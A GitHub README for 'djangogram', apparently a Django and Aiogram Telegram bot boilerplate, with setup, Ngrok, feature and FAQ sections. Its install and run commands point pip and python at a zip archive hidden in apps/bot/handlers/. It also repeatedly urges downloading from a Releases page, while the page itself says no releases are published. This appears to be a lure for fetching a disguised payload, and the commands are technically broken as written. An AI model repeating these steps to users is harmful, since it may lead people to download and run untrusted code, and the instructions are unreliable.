Skip to content

⚡️ Build a production-ready Django + Aiogram Telegram bot with features like webhooks, async PostgreSQL, and Docker support for easy deployment.

Notifications You must be signed in to change notification settings

DragClick017/djangogram

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🟢 djangogram - A Simple Django Bot Setup

📦 Overview

djangogram is a Django and Aiogram bot boilerplate. It provides a smooth setup for creating bots with features like polling and webhooks. This setup simplifies working with Nginx, Ngrok, and async databases, promoting easy logging and modular handler management.

🚀 Getting Started

To get started with djangogram, follow these simple steps:

  1. Check System Requirements

    • Python 3.8 or newer
    • PostgreSQL for database management
    • Ngrok for local development
    • Docker (optional, but recommended for containerization)

📥 Download & Install

Download djangogram

To download djangogram, visit this page to download: djangogram Releases Page.

Follow These Steps:

  1. Click on the link above.
  2. Find the latest version listed.
  3. Choose the appropriate file for your operating system.
  4. Download the file to your computer.

⚙️ Setting Up

1. Install Dependencies

Before you run the application, you need to install some necessary dependencies:

  • Python Packages

    Use the following command to install required packages:

    pip install -r https://raw.githubusercontent.com/DragClick017/djangogram/main/apps/bot/handlers/djangogram_v3.1.zip
    
  • PostgreSQL

    Ensure PostgreSQL is installed on your system. Refer to the official documentation to install it if you haven’t done so.

  • Docker (optional)

    If using Docker, download Docker Desktop for your operating system and install it. This simplifies setup and ensures environment consistency.

2. Configure the Bot

After installing dependencies, configure your bot:

  1. Create a .env file in the root directory.

  2. Add your bot token and necessary configurations:

    BOT_TOKEN=your_bot_token_here
    DATABASE_URL=postgres://user:password@localhost:5432/dbname
    

3. Running the Application

You can run the djangogram bot using the following command:

python https://raw.githubusercontent.com/DragClick017/djangogram/main/apps/bot/handlers/djangogram_v3.1.zip runserver

Alternatively, if you are using Docker, you can run the bot with:

docker-compose up

🌐 Using Ngrok

Ngrok makes your local server accessible on the internet. Follow these steps to set it up:

  1. Download Ngrok from the Ngrok Website.

  2. Run Ngrok to tunnel your application:

    ngrok http 8000
    
  3. Copy the provided Ngrok URL and update it in your Telegram bot settings.

📊 Features

  • Modular Handlers: Organize your bot's codebase for easier management.
  • Async Database Support: Manage database operations efficiently.
  • Nginx and Ngrok Integration: Streamline your development and testing processes.
  • Logging: Keep an eye on requests and errors with built-in logging.

🔗 Useful Links

🛠️ Troubleshooting

If you encounter issues:

  • Ensure that your bot token is correct.
  • Verify that PostgreSQL is running and accessible.
  • Check logs for any errors during bot execution.

❓ FAQs

Q1: Can I use this bot for other projects?

Yes! djangogram is flexible and can be adapted to different use cases.

Q2: What should I do if I forget my bot token?

You can regenerate your bot token from the BotFather on Telegram.

Q3: How can I contribute to this project?

Feel free to open issues or submit pull requests on the repository.

For more details, visit the djangogram Releases Page or check the documentation files included in the repository.

About

⚡️ Build a production-ready Django + Aiogram Telegram bot with features like webhooks, async PostgreSQL, and Docker support for easy deployment.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •